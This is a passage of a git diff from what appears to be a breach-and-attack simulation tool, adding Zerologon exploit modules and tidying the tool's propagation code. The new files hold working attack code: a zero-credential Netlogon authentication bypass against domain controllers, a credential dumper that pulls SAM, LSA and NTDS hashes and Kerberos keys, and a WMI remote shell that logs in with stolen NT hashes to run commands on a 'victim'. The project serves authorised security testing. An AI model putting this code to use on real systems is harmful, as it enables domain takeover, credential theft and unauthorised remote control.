options.system + self.__bootkey = options.bootkey + self.__security_hive = options.security + self.__sam_hive = options.sam + self.__ntds_file = options.ntds + self.__no_lmhash = options.no_lmhash + self.__is_remote = options.is_remote + self.__do_kerberos = options.k + self.__just_DC = options.just_dc + self.__just_DC_NTLM = options.just_dc_ntlm + self.__can_process_SAM_LSA = options.can_process_SAM_LSA + self.__kdc_host = options.dc_ip + self.__options = options + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(":") + + def connect(self): + self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) + self.__smb_connection.login( + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + ) + + def dump(self): # noqa: C901 + with StdoutCapture() as output_captor: + dumped_secrets = "" + + try: + if self.__remote_name.upper() == "LOCAL" and self.__username == "": + self.__is_remote = False + self.__use_VSS_method = True + if self.__system_hive: + local_operations = LocalOperations(self.__system_hive) + bootkey = local_operations.getBootKey() + if self.__ntds_file is not None: + # Let's grab target's configuration about LM Hashes storage. + self.__no_lmhash = local_operations.checkNoLMHashPolicy() + else: + import binascii + + bootkey = binascii.unhexlify(self.__bootkey) + + else: + self.__is_remote = True + bootkey = None + try: + try: + self.connect() + except Exception as e: + if ( + os.getenv("KRB5CCNAME") is not None + and self.__do_kerberos is True + ): + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + LOG.debug( + "SMBConnection didn't work, hoping Kerberos will help (%s)" + % str(e) + ) + else: + raise + + self.__remote_ops = RemoteOperations( + self.__smb_connection, self.__do_kerberos, self.__kdc_host + ) + self.__remote_ops.setExecMethod(self.__options.exec_method) + if ( + self.__just_DC is False + and self.__just_DC_NTLM is False + or self.__use_VSS_method is True + ): + self.__remote_ops.enableRegistry() + bootkey = self.__remote_ops.getBootKey() + # Let's check whether target system stores LM Hashes. + self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() + except Exception as e: + self.__can_process_SAM_LSA = False + if ( + str(e).find("STATUS_USER_SESSION_DELETED") + and os.getenv("KRB5CCNAME") is not None + and self.__do_kerberos is True + ): + # Giving some hints here when SPN target name validation is set to something different to Off. + # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. + LOG.error( + "Policy SPN target name validation might be restricting full DRSUAPI dump." + + "Try -just-dc-user" + ) + else: + LOG.error("RemoteOperations failed: %s" % str(e)) + + # If RemoteOperations succeeded, then we can extract SAM and LSA. + if ( + self.__just_DC is False + and self.__just_DC_NTLM is False + and self.__can_process_SAM_LSA + ): + try: + if self.__is_remote is True: + SAM_file_name = self.__remote_ops.saveSAM() + else: + SAM_file_name = self.__sam_hive + + self.__SAM_hashes = SAMHashes( + SAM_file_name, bootkey, isRemote=self.__is_remote + ) + self.__SAM_hashes.dump() + except Exception as e: + LOG.error("SAM hashes extraction failed: %s" % str(e)) + + try: + if self.__is_remote is True: + SECURITY_file_name = self.__remote_ops.saveSECURITY() + else: + SECURITY_file_name = self.__security_hive + + self.__LSA_secrets = LSASecrets( + SECURITY_file_name, + bootkey, + self.__remote_ops, + isRemote=self.__is_remote, + ) + self.__LSA_secrets.dumpCachedHashes() + self.__LSA_secrets.dumpSecrets() + except Exception as e: + LOG.debug(traceback.print_exc()) + LOG.error("LSA hashes extraction failed: %s" % str(e)) + + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. + if self.__is_remote is True: + if self.__use_VSS_method and self.__remote_ops is not None: + NTDS_file_name = self.__remote_ops.saveNTDS() + else: + NTDS_file_name = None + else: + NTDS_file_name = self.__ntds_file + + self.__NTDS_hashes = NTDSHashes( + NTDS_file_name, + bootkey, + isRemote=self.__is_remote, + noLMHash=self.__no_lmhash, + remoteOps=self.__remote_ops, + useVSSMethod=self.__use_VSS_method, + justNTLM=self.__just_DC_NTLM, + ) + try: + self.__NTDS_hashes.dump() + except Exception as e: + LOG.debug(traceback.print_exc()) + if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + LOG.error(e) + if self.__use_VSS_method is False: + LOG.error( + "Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter" + ) + self.cleanup() + except (Exception, KeyboardInterrupt) as e: + LOG.debug(traceback.print_exc()) + LOG.error(e) + if self.__NTDS_hashes is not None: + if isinstance(e, KeyboardInterrupt): + resume_file = self.__NTDS_hashes.getResumeSessionFile() + if resume_file is not None: + os.unlink(resume_file) + try: + self.cleanup() + except Exception: + pass + finally: + dumped_secrets = ( + output_captor.get_captured_stdout_output() + ) # includes hashes and kerberos keys + return dumped_secrets + + def cleanup(self): + LOG.debug("Cleaning up...") + if self.__remote_ops: + self.__remote_ops.finish() + if self.__SAM_hashes: + self.__SAM_hashes.finish() + if self.__LSA_secrets: + self.__LSA_secrets.finish() + if self.__NTDS_hashes: + self.__NTDS_hashes.finish() diff --git a/monkey/infection_monkey/exploit/zerologon_utils/options.py b/monkey/infection_monkey/exploit/zerologon_utils/options.py new file mode 100644 index 000000000..32cdfe40f --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/options.py @@ -0,0 +1,47 @@ +from dataclasses import dataclass + + +@dataclass() +class OptionsForSecretsdump: + bootkey = None + can_process_SAM_LSA = True + dc_ip = None + debug = False + exec_method = "smbexec" + hashes = None + is_remote = True + just_dc = True + just_dc_ntlm = False + k = False + keytab = None + no_lmhash = True + no_pass = True + ntds = None + sam = None + security = None + system = None + target = None + target_ip = None + ts = False + use_vss = False + + def __init__( + self, + dc_ip=None, + just_dc=True, + sam=None, + security=None, + system=None, + target=None, + target_ip=None, + ): + # dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py + self.dc_ip = dc_ip + # just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py + self.just_dc = just_dc + self.sam = sam + self.security = security + self.system = system + # target and target_ip are assigned in get_admin_pwd_hashes() in ../zerologon.py + self.target = target + self.target_ip = target_ip diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py new file mode 100644 index 000000000..146d58615 --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -0,0 +1,178 @@ +# Copyright (c) 2000 SecureAuth Corporation. All rights +# reserved. + +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: + +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. + +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in +# the documentation and/or other materials provided with the +# distribution. + +# 3. The end-user documentation included with the redistribution, +# if any, must include the following acknowledgment: +# "This product includes software developed by +# SecureAuth Corporation (https://www.secureauth.com/)." +# Alternately, this acknowledgment may appear in the software itself, +# if and wherever such third-party acknowledgments normally appear. + +# 4. The names "Impacket", "SecureAuth Corporation" must +# not be used to endorse or promote products derived from this +# software without prior written permission. For written +# permission, please contact oss@secureauth.com. + +# 5. Products derived from this software may not be called "Impacket", +# nor may "Impacket" appear in their name, without prior written +# permission of SecureAuth Corporation. + +# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED +# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR +# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF +# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +# SUCH DAMAGE. + + +import cmd +import logging +import ntpath +import os +import sys +import time + +LOG = logging.getLogger(__name__) + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py +# Used to start remote shell on victim +class RemoteShell(cmd.Cmd): + CODEC = sys.stdout.encoding + + def __init__(self, share, win32Process, smbConnection, outputFilename): + cmd.Cmd.__init__(self) + self.__share = share + self.__output = "\\" + outputFilename + self.__outputBuffer = str("") + self.__shell = "cmd.exe /Q /c " + self.__win32Process = win32Process + self.__transferClient = smbConnection + self.__pwd = str("C:\\") + self.__noOutput = False + + # We don't wanna deal with timeouts from now on. + if self.__transferClient is not None: + self.__transferClient.setTimeout(100000) + self.do_cd("\\") + else: + self.__noOutput = True + + def do_get(self, src_path): + try: + import ntpath + + newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) + drive, tail = ntpath.splitdrive(newPath) + filename = ntpath.basename(tail) + local_file_path = os.path.join( + os.path.expanduser("~"), "monkey-" + filename + ) + fh = open(local_file_path, "wb") + LOG.info("Downloading %s\\%s" % (drive, tail)) + self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write) + fh.close() + except Exception as e: + LOG.error(str(e)) + if os.path.exists(local_file_path): + os.remove(local_file_path) + + def do_exit(self, s): + return True + + def do_cd(self, s): + self.execute_remote("cd " + s) + if len(self.__outputBuffer.strip("\r\n")) > 0: + print(self.__outputBuffer) + self.__outputBuffer = "" + else: + self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) + self.execute_remote("cd ") + self.__pwd = self.__outputBuffer.strip("\r\n") + self.prompt = self.__pwd + ">" + self.__outputBuffer = "" + + def default(self, line): + # Let's try to guess if the user is trying to change drive. + if len(line) == 2 and line[1] == ":": + # Execute the command and see if the drive is valid. + self.execute_remote(line) + if len(self.__outputBuffer.strip("\r\n")) > 0: + # Something went wrong. + print(self.__outputBuffer) + self.__outputBuffer = "" + else: + # Drive valid, now we should get the current path. + self.__pwd = line + self.execute_remote("cd ") + self.__pwd = self.__outputBuffer.strip("\r\n") + self.prompt = self.__pwd + ">" + self.__outputBuffer = "" + else: + if line != "": + self.send_data(line) + + def get_output(self): + def output_callback(data): + try: + self.__outputBuffer += data.decode(self.CODEC) + except UnicodeDecodeError: + LOG.error( + "Decoding error detected, consider running chcp.com at the target,\nmap the result with " + "https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py " + "again with -codec and the corresponding codec" + ) + self.__outputBuffer += data.decode(self.CODEC, errors="replace") + + if self.__noOutput is True: + self.__outputBuffer = "" + return + + while True: + try: + self.__transferClient.getFile( + self.__share, self.__output, output_callback + ) + break + except Exception as e: + if str(e).find("STATUS_SHARING_VIOLATION") >= 0: + # Output not finished, let's wait. + time.sleep(1) + elif str(e).find("Broken") >= 0: + # The SMB Connection might have timed out, let's try reconnecting. + LOG.debug("Connection broken, trying to recreate it") + self.__transferClient.reconnect() + return self.get_output() + self.__transferClient.deleteFile(self.__share, self.__output) + + def execute_remote(self, data): + command = self.__shell + data + if self.__noOutput is False: + command += ( + " 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1" + ) + self.__win32Process.Create(command, self.__pwd, None) + self.get_output() + + def send_data(self, data): + self.execute_remote(data) + print(self.__outputBuffer) + self.__outputBuffer = "" diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py new file mode 100644 index 000000000..3470dd39a --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -0,0 +1,97 @@ +import logging +from typing import Optional + +import nmb.NetBIOS +from impacket.dcerpc.v5 import nrpc, rpcrt + +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT +from common.utils.exceptions import DomainControllerNameFetchError + +LOG = logging.getLogger(__name__) + + +def get_dc_details(host: object) -> (str, str, str): + dc_ip = host.ip_addr + dc_name = _get_dc_name(dc_ip=dc_ip) + dc_handle = "\\\\" + dc_name + return dc_ip, dc_name, dc_handle + + +def _get_dc_name(dc_ip: str) -> str: + """ + Gets NetBIOS name of the Domain Controller (DC). + """ + nb = nmb.NetBIOS.NetBIOS() + name = nb.queryIPForName( + ip=dc_ip, + timeout=MEDIUM_REQUEST_TIMEOUT + ) # returns either a list of NetBIOS names or None + + if name: + return name[0] + else: + raise DomainControllerNameFetchError("Couldn't get domain controller's name, maybe it's on external network?") + + +def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v5]): + # Connect to the DC's Netlogon service. + try: + rpc_con = zerologon_exploiter_object.connect_to_dc(zerologon_exploiter_object.dc_ip) + except Exception as e: + LOG.info(f"Exception occurred while connecting to DC: {str(e)}") + return False, None + + # Try authenticating. + for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS): + try: + rpc_con_auth_result = _try_zero_authenticate( + zerologon_exploiter_object, rpc_con + ) + if rpc_con_auth_result is not None: + return True, rpc_con_auth_result + except Exception as ex: + LOG.info(ex) + return False, None + + return False, None + + +def _try_zero_authenticate( + zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5 +) -> rpcrt.DCERPC_v5: + plaintext = b"\x00" * 8 + ciphertext = b"\x00" * 8 + flags = 0x212FFFFF + + # Send challenge and authentication request. + nrpc.hNetrServerReqChallenge( + rpc_con, + zerologon_exploiter_object.dc_handle + "\x00", + zerologon_exploiter_object.dc_name + "\x00", + plaintext, + ) + + try: + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, + zerologon_exploiter_object.dc_handle + "\x00", + zerologon_exploiter_object.dc_name + "$\x00", + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + zerologon_exploiter_object.dc_name + "\x00", + ciphertext, + flags, + ) + + assert server_auth["ErrorCode"] == 0 + return rpc_con + + except nrpc.DCERPCSessionError as ex: + if ( + ex.get_error_code() == 0xC0000022 + ): # STATUS_ACCESS_DENIED error; if not this, probably some other issue. + pass + else: + raise Exception(f"Unexpected error code: {ex.get_error_code()}.") + + except BaseException as ex: + raise Exception(f"Unexpected error: {ex}.") diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py new file mode 100644 index 000000000..1beaafddd --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -0,0 +1,120 @@ +# Copyright (c) 2000 SecureAuth Corporation. All rights +# reserved. + +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: + +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. + +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in +# the documentation and/or other materials provided with the +# distribution. + +# 3. The end-user documentation included with the redistribution, +# if any, must include the following acknowledgment: +# "This product includes software developed by +# SecureAuth Corporation (https://www.secureauth.com/)." +# Alternately, this acknowledgment may appear in the software itself, +# if and wherever such third-party acknowledgments normally appear. + +# 4. The names "Impacket", "SecureAuth Corporation" must +# not be used to endorse or promote products derived from this +# software without prior written permission. For written +# permission, please contact oss@secureauth.com. + +# 5. Products derived from this software may not be called "Impacket", +# nor may "Impacket" appear in their name, without prior written +# permission of SecureAuth Corporation. + +# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED +# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR +# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF +# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +# SUCH DAMAGE. + + +import logging +import time + +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dtypes import NULL +from impacket.smbconnection import SMBConnection + +from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell + +LOG = logging.getLogger(__name__) + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py +# Used to get HKLM keys for restoring original DC password +class Wmiexec: + OUTPUT_FILENAME = "__" + str(time.time()) + + def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"): + self.__ip = ip + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash, self.__nthash = hashes.split(":") + self.__share = share + self.shell = None + + def connect(self): + self.smbConnection = SMBConnection(self.__ip, self.__ip) + self.smbConnection.login( + user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + ) + + self.dcom = DCOMConnection( + target=self.__ip, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True, + ) + + try: + iInterface = self.dcom.CoCreateInstanceEx( + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + ) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + self.iWbemServices = iWbemLevel1Login.NTLMLogin( + "//./root/cimv2", NULL, NULL + ) + iWbemLevel1Login.RemRelease() + + except (Exception, KeyboardInterrupt) as e: + LOG.error(str(e)) + self.smbConnection.logoff() + self.dcom.disconnect() + + def get_remote_shell(self): + self.connect() + win32Process, _ = self.iWbemServices.GetObject("Win32_Process") + self.shell = RemoteShell( + self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME + ) + return self.shell + + def close(self): + self.smbConnection.close() + self.smbConnection = None + self.dcom.disconnect() + self.dcom = None diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index cad4a00c0..945ccd8cf 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -7,15 +7,15 @@ import sys import traceback from multiprocessing import freeze_support +# dummy import for pyinstaller # noinspection PyUnresolvedReferences -import infection_monkey.post_breach # dummy import for pyinstaller +import infection_monkey.post_breach # noqa: F401 from common.version import get_version from infection_monkey.config import EXTERNAL_CONFIG_FILE, WormConfiguration from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import DROPPER_ARG, MONKEY_ARG from infection_monkey.monkey import InfectionMonkey -from infection_monkey.utils.monkey_log_path import (get_dropper_log_path, - get_monkey_log_path) +from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path __author__ = 'itamar' diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index e7ab94495..4f3f2c27d 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,4 +1,4 @@ -from infection_monkey.model.host import VictimHost +from infection_monkey.model.host import VictimHost # noqa: F401 __author__ = 'itamar' diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 1a4fef1c8..d71446108 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -7,6 +7,7 @@ class VictimHost(object): self.domain_name = str(domain_name) self.os = {} self.services = {} + self.icmp = False self.monkey_exe = None self.default_tunnel = None self.default_server = None @@ -40,7 +41,7 @@ class VictimHost(object): victim += "] Services - [" for k, v in list(self.services.items()): victim += "%s-%s " % (k, v) - victim += '] ' + victim += '] ICMP: %s ' % (self.icmp) victim += "target monkey: %s" % self.monkey_exe return victim diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 444bde452..3a5c5619f 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -4,12 +4,12 @@ import os import subprocess import sys import time +from threading import Thread import infection_monkey.tunnel as tunnel -from common.network.network_utils import get_host_from_network_location +from infection_monkey.network.tools import is_running_on_island from common.utils.attack_utils import ScanStatus, UsageEnum -from common.utils.exceptions import (ExploitingVulnerableMachineError, - FailedExploitationError) +from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.version import get_version from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient @@ -18,8 +18,7 @@ from infection_monkey.model import DELAY_DELETE_CMD from infection_monkey.network.firewall import app as firewall from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.network_scanner import NetworkScanner -from infection_monkey.network.tools import (get_interface_to_target, - is_running_on_server) +from infection_monkey.network.tools import get_interface_to_target from infection_monkey.post_breach.post_breach_handler import PostBreach from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton @@ -32,11 +31,8 @@ from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.exceptions.planned_shutdown_exception import \ - PlannedShutdownException -from infection_monkey.utils.monkey_dir import (create_monkey_dir, - get_monkey_dir_path, - remove_monkey_dir) +from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException +from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.windows_upgrader import WindowsUpgrader @@ -88,7 +84,7 @@ class InfectionMonkey(object): if self._opts.depth is not None: WormConfiguration._depth_from_commandline = True WormConfiguration.depth = self._opts.depth - LOG.debug(f"Setting propagation depth from command line") + LOG.debug("Setting propagation depth from command line") LOG.debug(f"Set propagation depth to {WormConfiguration.depth}") self._keep_running = True @@ -124,7 +120,8 @@ class InfectionMonkey(object): self.shutdown_by_not_alive_config() - if self.is_started_on_island(): + if is_running_on_island(): + WormConfiguration.started_on_island = True ControlClient.report_start_on_island() ControlClient.should_monkey_run(self._opts.vulnerable_port) @@ -138,9 +135,9 @@ class InfectionMonkey(object): StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() - LOG.debug("Starting the post-breach phase.") - self.collect_system_info_if_configured() - PostBreach().execute_all_configured() + LOG.debug("Starting the post-breach phase asynchronously.") + post_breach_phase = Thread(target=self.start_post_breach_phase) + post_breach_phase.start() LOG.debug("Starting the propagation phase.") self.shutdown_by_max_depth_reached() @@ -169,7 +166,11 @@ class InfectionMonkey(object): for finger in self._fingerprint: LOG.info("Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) - finger.get_host_fingerprint(machine) + try: + finger.get_host_fingerprint(machine) + except BaseException as exc: + LOG.error("Failed to run fingerprinter %s, exception %s" % finger.__class__.__name__, + str(exc)) ScanTelem(machine).send() @@ -190,8 +191,8 @@ class InfectionMonkey(object): if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server(get_interface_to_target(machine.ip_addr) + - ( - ':' + self._default_server_port if self._default_server_port else '')) + (':' + self._default_server_port + if self._default_server_port else '')) else: machine.set_default_server(self._default_server) LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) @@ -203,7 +204,8 @@ class InfectionMonkey(object): if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() - break + if exploiter.RUNS_AGENT_ON_SUCCESS: + break # if adding machine to exploited, won't try other exploits on it if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() @@ -230,10 +232,17 @@ class InfectionMonkey(object): if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join() + + post_breach_phase.join() + except PlannedShutdownException: LOG.info("A planned shutdown of the Monkey occurred. Logging the reason and finishing execution.") LOG.exception("Planned shutdown, reason:") + def start_post_breach_phase(self): + self.collect_system_info_if_configured() + PostBreach().execute_all_configured() + def shutdown_by_max_depth_reached(self): if 0 == WormConfiguration.depth: TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() @@ -242,10 +251,13 @@ class InfectionMonkey(object): LOG.debug("Running with depth: %d" % WormConfiguration.depth) def collect_system_info_if_configured(self): - LOG.debug("Calling system info collection") - system_info_collector = SystemInfoCollector() - system_info = system_info_collector.get_info() - SystemInfoTelem(system_info).send() + LOG.debug("Calling for system info collection") + try: + system_info_collector = SystemInfoCollector() + system_info = system_info_collector.get_info() + SystemInfoTelem(system_info).send() + except Exception as e: + LOG.exception(f"Exception encountered during system info collection: {str(e)}") def shutdown_by_not_alive_config(self): if not WormConfiguration.alive: @@ -294,8 +306,7 @@ class InfectionMonkey(object): try: status = None if "win32" == sys.platform: - from subprocess import (CREATE_NEW_CONSOLE, - STARTF_USESHOWWINDOW, SW_HIDE) + from subprocess import CREATE_NEW_CONSOLE, STARTF_USESHOWWINDOW, SW_HIDE startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW startupinfo.wShowWindow = SW_HIDE @@ -329,8 +340,8 @@ class InfectionMonkey(object): :return: True if successfully exploited, False otherwise """ if not exploiter.is_os_supported(): - LOG.info("Skipping exploiter %s host:%r, os is not supported", - exploiter.__class__.__name__, machine) + LOG.info("Skipping exploiter %s host:%r, os %s is not supported", + exploiter.__class__.__name__, machine, machine.os) return False LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) @@ -339,14 +350,14 @@ class InfectionMonkey(object): try: result = exploiter.exploit_host() if result: - self.successfully_exploited(machine, exploiter) + self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except ExploitingVulnerableMachineError as exc: LOG.error("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) - self.successfully_exploited(machine, exploiter) + self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True except FailedExploitationError as e: LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e) @@ -357,13 +368,14 @@ class InfectionMonkey(object): exploiter.send_exploit_telemetry(result) return False - def successfully_exploited(self, machine, exploiter): + def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True): """ Workflow of registering successfully exploited machine :param machine: machine that was exploited :param exploiter: exploiter that succeeded """ - self._exploited_machines.add(machine) + if RUNS_AGENT_ON_SUCCESS: + self._exploited_machines.add(machine) LOG.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__) @@ -391,10 +403,6 @@ class InfectionMonkey(object): self._default_server = WormConfiguration.current_server LOG.debug("default server set to: %s" % self._default_server) - def is_started_on_island(self): - island_ip = get_host_from_network_location(self._default_server) - return is_running_on_server(island_ip) and WormConfiguration.depth == WormConfiguration.max_depth - def log_arguments(self): arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()]) LOG.info(f"Monkey started with arguments: {arg_string}") diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 51bd4bb83..6248f4d2b 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -1,24 +1,24 @@ # -*- mode: python -*- import os -import sys import platform - +import sys __author__ = 'itay.mizeretz' +from PyInstaller.utils.hooks import collect_data_files + block_cipher = None def main(): + print(collect_data_files('policyuniverse')) a = Analysis(['main.py'], pathex=['..'], hiddenimports=get_hidden_imports(), hookspath=['./pyinstaller_hooks'], runtime_hooks=None, binaries=None, - datas=[ - ("../common/BUILD", "/common") - ], + datas=[("../common/BUILD", "/common")], excludes=None, win_no_prefer_redirects=None, win_private_assemblies=None, @@ -48,7 +48,7 @@ def is_windows(): def is_32_bit(): - return sys.maxsize <= 2**32 + return sys.maxsize <= 2 ** 32 def get_bin_folder(): @@ -79,7 +79,10 @@ def get_linux_only_binaries(): def get_hidden_imports(): - return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend','_mssql'] + imports = ['_cffi_backend', '_mssql'] + if is_windows(): + imports.append('queue') + return imports def get_sc_binaries(): @@ -94,15 +97,15 @@ def get_traceroute_binaries(): def get_monkey_filename(): name = 'monkey-' if is_windows(): - name = name+"windows-" + name = name + "windows-" else: - name = name+"linux-" + name = name + "linux-" if is_32_bit(): - name = name+"32" + name = name + "32" else: - name = name+"64" + name = name + "64" if is_windows(): - name = name+".exe" + name = name + ".exe" return name diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index 5ba95ab93..e7a60be17 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -6,7 +6,7 @@ import requests from requests.exceptions import ConnectionError, Timeout import infection_monkey.config -from common.data.network_consts import ES_SERVICE +from common.common_consts.network_consts import ES_SERVICE from infection_monkey.network.HostFinger import HostFinger ES_PORT = 9200 diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 26e362a5f..86c48cbde 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ 